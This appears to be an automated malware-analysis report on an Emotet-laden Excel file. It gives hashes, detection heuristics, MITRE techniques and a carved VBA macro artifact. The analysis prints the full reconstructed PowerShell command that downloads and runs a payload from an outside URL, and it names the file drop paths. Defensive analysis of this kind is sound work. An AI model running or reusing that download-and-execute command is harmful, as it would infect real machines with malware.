Emotet Office (OLE) / .XLSX malware analysis — malicious · 2b7ccf1d8aefc52e

MALICIOUS

Office (OLE) / .XLSX

138.0 KB Created: 2022-02-09 09:48:26 Authoring application: Microsoft Excel

MD5: c4204a67c9576385b1e2b0fdd8056a3b SHA-1: e3d3818495b13d708e1a3d8d715794eeb6c73bdf SHA-256: 2b7ccf1d8aefc52e3325e29b792fdae0f29b67ea995b3e409860e4bba42e2b18

240 Risk Score

Malware Insights

Emotet · confidence 95%

MITRE ATT&CK

T1059.005 Visual Basic T1059.003 Windows Command Shell T1105 Ingress Tool Transfer

The critical ClamAV detection and high-severity heuristics for VBA macros, Workbook_Open execution, and CreateObject calls strongly indicate malicious intent. The extracted VBA script contains obfuscated code that reconstructs a PowerShell command to download and execute a payload from a URL. Specifically, it reconstructs the command: powershell -nop -w hidden -c "IEX (New-Object Net.WebClient).DownloadString('http://midnighthilivercraft.com/store/wBjNOUw/B110N4cQA6R3/')". The script also attempts to drop files to 'c:\programdata\oue4hjld.vbs' and 'c:\programdata\bhnasleil.bat', and the presence of Emotet-related indicators in the ClamAV signature further supports this family attribution.

Heuristics 6

ClamAV: Doc.Downloader.EmotetRed02220-9938909-0 critical CLAMAV_DETECTION

ClamAV detected this file as malware: Doc.Downloader.EmotetRed02220-9938909-0
Workbook_Open macro high OLE_VBA_WBOPEN

Workbook_Open macro
CreateObject call high OLE_VBA_CREATEOBJ

CreateObject call
VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC

Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
Suspicious extracted artifact high EXTRACTED_FILE_STATIC_TRIAGE

One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
VBA macros detected medium OLE_VBA_MACROS

Document contains VBA macro code

Extracted artifacts 1

Files carved from inside the sample during analysis.

Filename	Kind	Source	Size
`macros.bas` `181a749f1c14e890a5aa330d8db69f600aa416b435d700325c47ae4a853a04c1`	vba-macro	oletools.olevba.extract_macros (decoded VBA source)	52433 bytes
Detection ClamAV: No threats found Obfuscation or payload: likely Carved macro source contains an auto-exec entry point and execution/download terms.

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